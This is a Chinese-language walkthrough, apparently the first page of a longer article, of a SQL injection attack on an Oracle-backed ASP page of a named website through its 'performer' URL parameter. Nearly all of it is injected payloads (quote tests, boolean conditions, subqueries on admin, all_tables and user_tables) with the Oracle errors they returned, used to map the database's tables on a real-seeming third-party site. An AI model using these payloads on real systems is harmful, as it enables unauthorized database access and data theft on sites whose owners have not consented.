http://et.kpworld.com/star.asp?performer=马三立;
------------------------------------------------------
oraOLEDB 错误 '80040e14' orA-00911:
invalid character
/star.asp，行83

说明过滤了分号。


http://et.kpworld.com/star.asp?performer=马三立'
----------------------------------------------------
oraOLEDB 错误 '80004005' orA-01756:
括号内的字符串没有正确结束
/star.asp，行83
看来存在未过滤单引号问题。


http://et.kpworld.com/star.asp?performer=马三立' and '1'='1
----------------------------------------------------------------
闭和他单引号，正常返回。


and 0<>(select count(*) from admin) and '1'='1
-----------------------------------------------------------------
oraOLEDB 错误 '80040e37' orA-00942:
table or view does not exist
/star.asp，行83


说明不存在ADMIN这个表.
******************************************************************

下面需要知道ORACLE的系统表：

确定表中行的总数：
select num_rows from user_tables where table_name='表名 ----------------------存放当前用户所有表
where table_name='表名
'selectcolumn_name,
from user_tab_columns -----------------------存放所有列
where table_name='表名'


and 0<>(select count(*) from all_tables) and '1'='1
---------------------------------------------------------------------
存在！
all_tables是一个系统表,用来存放当前ID和其他用户的所有表

and 0<>(select count(*) from user_tables) and '1'='1
---------------------------------------------------------------------

返回。有这个系统表，这个表存放当前用户的所有表

and 0<>(select top 1 table_name from user_tables) and '1'='1
---------------------------------------------------------------------------------
oraOLEDB 错误 '80040e14' orA-00923:
FROM keyword not found where expected
/star.asp，行83


不支持TOP 1 ?。。。。。。这种解释好象不太理想。。。
(经过PINKEYES测试已经确定确实不支持TOP 1)

and 0<>(select count(*) from user_tables where table_nam<>'') and '1'='1
--------------------------------------------------------------------------------------------

oraOLEDB 错误 '80040e14' orA-00904:
invalid column name /star.asp，行83

当语法错误时,会显示无效列名字

and 0<>(select count(*) from user_tables where table_name<>'''') and '1'='1
--------------------------------------------------------------------------------------------

语法正确时，成功返回标志,看来四个单引号表示空.接下来是对一些函数的测试：

and 0<>(select count(*) from user_tables where sum(table_name)>1) and '1'='1
------------------------------------------------------------------------------------------------

oraOLEDB 错误 '80040e14' orA-00934:
group function is not allowed here
/star.asp，行83
组函数不允许在这里。

and 0<>(select count(*) from user_tables where avg(table_name)) and '1'='1
-------------------------------------------------------------------------------------------

oraOLEDB 错误 '80040e14' orA-00934:
group function is not allowed here /star.asp，行83


组函数不允许在这里。

and 0<>(select to_char(table_name) from user_tables) and%20'1'='1
--------------------------------------------------------------------------

oraOLEDB 错误 '80004005' orA-01427:
single-row subquery returns more than one row
/star.asp，行83
单行的子查询返回多于一行

and 0<>(select count(*) from user_tables where table_name+1) and%20'1'='1
--------------------------------------------------------------------------

oraOLEDB 错误 '80040e14' orA-00920:
invalid relational operator
/star.asp，行83

测试到这里，下面看看怎么弄出他的表来：

and 0<>(select count(*) from performer) and%20'1'='1
-----------------------------------------------------

成功返回。这里的表是看前面URL猜的.

and 0<>(select count(*) from user_tables where table_name='performer') and%20'1'='1
-------------------------------------------------------------------------------------
没返回。失败标志。

and%200<>(select%20count(*)%20from%20user_tables%20where%20table_name='PERFORMER') and%20'1'='1
------------------------------------------------------------------------------------------------

成功了！ 看来这个user_tables表只认识大写字母！

[1] [2] [3] 下一页